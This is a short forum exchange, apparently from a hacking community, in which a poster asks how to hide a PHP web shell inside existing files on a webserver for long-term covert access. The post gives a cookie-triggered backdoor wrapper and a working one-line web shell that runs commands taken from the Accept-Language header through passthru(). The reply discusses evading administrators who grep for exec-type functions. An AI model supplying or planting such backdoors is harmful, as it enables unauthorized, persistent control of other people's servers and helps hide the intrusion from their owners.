whats up guys,

anyone have advice or experience when trying to hide a shell on a webserver. what i've been doing is hiding the shell inside an existing file with something like this...

if(isset($_COOKIE['itsMe'])){
shell code
}

and then obfuscating the code.

i've read this...
http://www.waraxe.us/ftopic-1834-0-days0-orderasc-.html
Code:

<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>


it's good but i have my own shell code that does specific functions...

so whats the best way to hide a shell for long-term use? any ideas?

Depend's of server where you want to hide shell and mostly admin hoo working on server.If is stupid you can use code you posted, but if is smart they well be grep on all system function passthru() , getenv() , exec() , system() ....etc.List is too long.
